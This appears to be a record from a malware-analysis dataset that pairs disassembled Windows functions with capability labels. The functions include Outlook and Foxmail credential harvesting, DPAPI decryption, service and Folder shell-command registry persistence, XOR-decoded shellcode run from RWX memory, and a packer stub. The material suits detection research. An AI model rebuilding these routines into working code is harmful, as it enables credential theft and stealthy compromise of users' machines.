joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40153f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp - 0x134]
sub esp, 0x154
mov dword [ebp - 0x134], 0
mov dword [esp], eax
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x118], 6
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x120], 0
call dword [sym.imp.USER32.dll_RegisterClassA]
push ecx
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
lea ebx, [ebp - 0x10c]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
push eax
push eax
mov dword [esp + 4], ebx
mov dword [esp], 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push eax
push eax
mov dword [esp], ebx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [ebp - 4]
leave
sub eax, 3
ret

Function at 0x40162d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x88], 0
call fcn.0040153f
test eax, eax
jne 0x4016c7
lea eax, [ebp - 0x8c]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, 0x40215e
sub eax, 0x4016fc
mov dword [esp], 0x4016fc
mov dword [esp + 4], eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x4016c7
lea ebx, [ebp - 0x88]
mov dword [esp], 0
call fcn.00401442
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.004014c9
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1b600
mov dword [esp], 0x40300c
call fcn.00401e61
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x46ce90
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
push esp
pop ebp
mov eax, dword [ebp + 8]
push ebx
mov ecx, dword [eax + 0x3c]
add ecx, eax
push esi
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
xor edx, edx
add eax, ecx
push edi
test ebx, ebx
je 0x46cecc
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x46cec4
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x46cece
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x46ceb4
sub eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x46cfa0
Capabilities:
Parse pe header

Disassembly:
push ebp
push esp
pop ebp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x46cfb4
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x46cfcf
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
Function at 0x4851c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.PROT1
lea edi, [esi - 0x4a000]
push edi
or ebp, 0xffffffff
jmp 0x4851e2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4851e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jbe 0x4851d8
mov eax, 1
add ebx, ebx
jne 0x4851fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x48520c
jne 0x48522b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48522b
dec eax
add ebx, ebx
jne 0x485218
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4851f0
add ebx, ebx
jne 0x485227
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x48527d
xor ecx, ecx
sub eax, 3
jb 0x485243
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4852b2
sar eax, 1
mov ebp, eax
jmp 0x48524e
add ebx, ebx
jne 0x48524e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48521c
inc ecx
add ebx, ebx
jne 0x48525c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48521c
add ebx, ebx
jne 0x485269
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x48525e
jne 0x48527a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x48525e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x48529c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x48528e
jmp 0x4851de
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x48529c
add edi, ecx
jmp 0x4851de
pop esi
mov edi, esi
mov ecx, 0x1f0b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4852ba
cmp byte [edi], 0x12
jne 0x4852ba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4852bf
lea edi, [esi + 0x81000]
mov eax, dword [edi]
or eax, eax
je 0x485337
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x863d4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x86484]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4852ec
mov ecx, edi
jns 0x48531b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8648c]
or eax, eax
je 0x485331
mov dword [ebx], eax
add ebx, 4
jmp 0x485309
call dword [esi + 0x86488]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x485368
cmp al, 0xef
ja 0x48535b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x48533d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x48534a
mov ebp, dword [esi + 0x86490]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x48539c
sub esp, 0xffffff80
jmp 0x44468a
Function at 0x40e1df
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov eax, 0x104
xor ebx, ebx
push eax
mov dword [ebp - 8], eax
inc ebx
lea eax, [ebp - 0x214]
mov dword [ebp - 0xc], ebx
push 0
push eax
mov edi, edx
mov esi, ecx
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x214]
push str.SoftwareMicrosoftWindowsCurrentVersionApp_Paths_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push ebx
push 0
lea eax, [ebp - 0x214]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40e272
lea eax, [ebp - 8]
push eax
push edi
lea ecx, [ebp - 0xc]
push ecx
push 0
push str.Path
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x40e274
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4104a0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3014
call fcn.00401240
push ebx
push esi
push edi
mov esi, 0x800
mov dword [ebp - 0x10], ecx
push esi
xor ebx, ebx
lea eax, [ebp - 0x1010]
push ebx
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x2010]
push esi
push ebx
push eax
call fcn.004012cf
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
add esp, 0xc
mov esi, 0xf003f
push eax
push esi
push ebx
push 0x41bf10
push 0x80000001
call edi
test eax, eax
jne 0x410504
push str.SoftwareMicrosoftOffice15.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
jmp 0x41055a
lea eax, [ebp - 4]
push eax
push esi
push ebx
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
push 0x80000001
call edi
test eax, eax
jne 0x410521
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
jmp 0x41055a
lea eax, [ebp - 4]
push eax
push esi
push ebx
push str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
push 0x80000001
call edi
test eax, eax
jne 0x41053e
push str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
jmp 0x41055a
lea eax, [ebp - 4]
push eax
push esi
push ebx
mov esi, str.SoftwareMicrosoftOffice16.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
push esi
push 0x80000001
call edi
test eax, eax
jne 0x41065b
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x1010]
push eax
call esi
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x41065b
cmp dword [ebp - 0xc], ebx
jbe 0x410656
xor eax, eax
mov dword [ebp - 8], 0x800
push eax
push eax
push eax
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x3010]
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x41065b
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebp - 0x2010]
push eax
call esi
push 0x41a58c
lea eax, [ebp - 0x2010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x3010]
push eax
lea eax, [ebp - 0x2010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x2010]
push eax
push 0x80000001
call edi
test eax, eax
jne 0x41065b
push ecx
push dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
call fcn.00410131
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x1010]
push eax
push 0x80000001
call edi
test eax, eax
jne 0x41065b
inc ebx
cmp ebx, dword [ebp - 0xc]
jb 0x410594
xor eax, eax
inc eax
jmp 0x41065d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x410976
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 8]
push ebx
push esi
push edi
push eax
push 0x20019
xor edi, edi
mov esi, ecx
push edi
push str.softwareAerofoxFoxmailPreview
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4109ef
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x104
push eax
mov ebx, 0x420840
push ebx
push edi
push edi
push str.Executable
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4109ef
push ebx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push str.Storage
push ebx
mov edi, 0x420738
push edi
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push ecx
mov ecx, esi
call fcn.00410aae
push edi
mov ecx, esi
call fcn.00410b6f
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x410aae
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
lea eax, [ebp - 0x354]
push ebx
push esi
push edi
push 0
push eax
push 0x104
push 0x420738
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x354]
push 0x41ad9c
push eax
lea eax, [ebp - 0x45c]
push eax
call esi
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x410b66
mov ecx, dword [ebp - 0x24c]
or ecx, 0x10
cmp ecx, 0x10
jne 0x410b54
cmp byte [ebp - 0x220], 0x2e
je 0x410b54
lea eax, [ebp - 0x220]
push eax
push 0x420738
lea eax, [ebp - 0x10c]
push eax
call esi
push str.AccountsAccount.rec0
lea eax, [ebp - 0x10c]
push eax
push eax
call esi
lea eax, [ebp - 0x10c]
mov ecx, ebx
push eax
call fcn.00410b6f
lea eax, [ebp - 0x24c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x410b0b
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x4111f7
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
mov eax, ecx
push esi
push edi
xor esi, esi
mov dword [ebp - 4], eax
push esi
push esi
push ebx
push esi
push 1
mov edi, edx
mov dword [ebx], esi
push esi
push eax
mov dword [edi], esi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x411250
push dword [ebx]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [edi], eax
test eax, eax
je 0x411250
push esi
push esi
push ebx
push eax
push 1
push esi
push dword [ebp - 4]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
mov esi, eax
test esi, esi
jne 0x411250
push dword [edi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [edi], eax
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x411257
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
mov eax, edx
mov dword [ebp - 4], eax
cmp dword [0x420948], esi
je 0x41127d
push dword [ebp + 8]
call fcn.004111f7
pop ecx
mov esi, eax
jmp 0x4112fe
push edi
push esi
push esi
push 3
push esi
push 3
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x4112fd
cmp edi, 0xffffffff
je 0x4112fd
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x4112f6
cmp dword [ebp - 0xc], esi
jne 0x4112f6
mov eax, dword [ebp - 0x10]
push ebx
mov ebx, dword [ebp + 8]
push eax
push 0x40
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
test eax, eax
je 0x4112f5
push esi
lea ecx, [ebp - 8]
push ecx
push dword [ebx]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4112ea
mov eax, dword [ebx]
cmp eax, dword [ebp - 8]
jne 0x4112ea
xor esi, esi
inc esi
jmp 0x4112f5
mov eax, dword [ebp - 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x411303
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
lea eax, [ebp - 8]
mov dword [ebp - 0x14], ecx
push eax
push dword [ebp + 0x18]
xor ecx, ecx
mov dword [ebp - 0x18], edx
push ecx
push ecx
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ecx
push eax
push ecx
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], ecx
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov edi, eax
test edi, edi
je 0x411368
mov ecx, dword [ebp - 8]
mov esi, dword [ebp + 0x20]
push ecx
push 0x40
mov dword [esi], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp + 0x1c]
mov dword [ecx], eax
test eax, eax
je 0x41135f
push dword [esi]
push dword [ebp - 4]
push eax
call fcn.004012a9
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x412a41
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov ebx, ecx
xor esi, esi
push str.SYSTEMCurrentControlSetServicesTermServiceParameters
lea ecx, [ebp - 0x10]
mov dword [ebp - 8], esi
call fcn.0040346a
lea eax, [ebp - 8]
push eax
push 0x102
push esi
push dword [ebp - 0x10]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x412afa
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebx + 0x34]
call fcn.0040368b
push str.ServiceDll
lea ecx, [ebp - 0xc]
mov ebx, eax
call fcn.0040346a
cmp dword [ebp - 8], esi
jne 0x412aa4
mov ebx, esi
jmp 0x412abe
push dword [ebx + 4]
push dword [ebx]
push 2
push esi
push dword [eax]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ebx, ebx
test eax, eax
sete bl
mov ecx, dword [ebp - 0xc]
call fcn.004068b7
lea ecx, [ebp - 0x18]
mov dword [ebp - 0xc], esi
call fcn.00403457
test ebx, ebx
jne 0x412ae4
cmp dword [ebp - 8], esi
je 0x412adf
push dword [ebp - 8]
call edi
mov dword [ebp - 8], esi
jmp 0x412afa
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], esi
je 0x412af4
push dword [ebp - 8]
call edi
mov dword [ebp - 8], esi
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x10]
call fcn.004068b7
cmp dword [ebp - 8], 0
je 0x412b0d
push dword [ebp - 8]
call edi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4

Function at 0x41304c
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 1
push str.ServicesActive
xor edi, edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x4130cb
mov eax, dword [ebp + 8]
push ebx
push 0x10
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x413087
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x4130ca
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x4130b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x4130bc
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x4130bc
xor edi, edi
inc edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret 4
Function at 0x41692a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov esi, 0xf003f
push eax
push esi
xor edi, edi
mov ebx, 0x41d718
push edi
push ebx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x41696d
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push edi
push esi
push edi
push edi
push edi
push ebx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, 0x553c80
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 2
push eax
push esi
push 1
push edi
push 0x41d738
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41699d
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0x800
mov dword [ebp - 4], ecx
call fcn.00401000
mov esi, 0x41c4f0
mov dword [ebp - 8], eax
pop ecx
mov edx, eax
sub esi, eax
mov edi, 0x601
mov cl, byte [esi + edx]
xor cl, 0x45
mov byte [edx], cl
inc edx
sub edi, 1
jne 0x4169c5
lea ecx, [ebp - 0xc]
push ecx
push 0x40
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x40
push 0x1000
push 0x1fe
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0xa
pop ecx
push 0
push 0
push dword [ebp - 4]
lea edi, [ebx + eax*2]
mov esi, str.System32cmd.exe
mov eax, dword [ebp - 8]
rep movsd dword es:[edi], dword [esi]
push ebx
add eax, 0xef
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x416a31
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x200
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 8]
push eax
push 1
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.NETAPI32.dll_NetUserGetInfo]
test eax, eax
je 0x416a6f
xor al, al
leave
ret
mov ecx, dword [ebp - 8]
push ebx
push ecx
cmp dword [ecx + 0xc], 2
sete bl
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
mov al, bl
pop ebx
leave
ret
Function at 0x416a86
Capabilities:
Extract resource via kernel32 functions

Disassembly:
call fcn.00416a31
test al, al
je 0x416b17
call fcn.004145c4
cmp eax, 1
je 0x416b17
push esi
push edi
mov edi, 0x208
mov esi, 0x553c80
push edi
push 0
push esi
call fcn.004012cf
add esp, 0xc
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x416b15
call fcn.004145c4
cmp eax, 1
je 0x416b15
push ebx
call fcn.0041692a
call fcn.00417246
push 0x41d770
mov ebx, eax
push 0x66
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push edi
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
pop ebx
test eax, eax
je 0x416b15
mov ecx, eax
call fcn.0041699d
pop edi
pop esi
xor eax, eax
ret

Function at 0x416b96
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SoftwareClassesFolder_shellopencommand
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x416bd0
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor al, al
jmp 0x416bf8
push esi
push dword [ebp + 0xc]
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x416bf6
push esi
jmp 0x416bc6
mov al, 1
pop esi
leave
ret
Function at 0x416e8e
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, edx
mov eax, ebx
cdq
and edx, 3
push esi
push edi
lea edi, [edx + eax]
mov edx, dword [ebp + 8]
sar edi, 2
lea esi, [ecx + edi*4]
neg edi
je 0x416ecf
imul eax, dword [esi + edi*4], 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, edx
rol eax, 0xd
imul edx, eax, 5
sub edx, 0x19ab949c
add edi, 1
jne 0x416eac
mov eax, ebx
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x416ef5
sub eax, 1
je 0x416eec
sub eax, 1
jne 0x416f0b
movzx ecx, byte [esi + 2]
shl ecx, 0x10
movzx eax, byte [esi + 1]
shl eax, 8
xor ecx, eax
movzx eax, byte [esi]
xor eax, ecx
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor edx, eax
xor edx, ebx
mov eax, edx
shr eax, 0x10
xor eax, edx
imul ecx, eax, 0x85ebca6b
pop edi
pop esi
pop ebx
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul eax, eax, 0xc2b2ae35
mov ecx, eax
shr ecx, 0x10
xor ecx, eax
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
pop ebp
ret

Function at 0x417025
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 4
mov eax, edx
xor edi, edi
push 0x1000
push eax
push edi
mov dword [ebp - 4], eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 4]
mov ebx, eax
lea eax, [edx - 1]
add eax, esi
mov cl, byte [eax]
not cl
mov byte [edi + ebx], cl
inc edi
dec eax
cmp edi, edx
jbe 0x41704f
lea eax, [ebp - 8]
push eax
push 0x40
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x417071
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, edx
push edi
mov edi, ecx
mov dword [ebp - 4], edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x417085
sub esi, ecx
xor ecx, ecx
test ebx, ebx
jle 0x4170aa
mov eax, ecx
mov edi, dword [ebp + 8]
cdq
idiv esi
mov al, byte [edx + edi]
mov edi, dword [ebp - 4]
xor byte [ecx + edi], al
inc ecx
cmp ecx, ebx
jl 0x417094
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4170b1
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x2800000
mov edi, edx
mov esi, ecx
call fcn.00401000
pop ecx
mov ebx, eax
xor eax, eax
push eax
push 0x80
push 3
push eax
push 1
push 0x80000000
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4170ef
and dword [edi], 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 4]
mov dword [edi], eax
push ecx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x41710f
and dword [edi], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret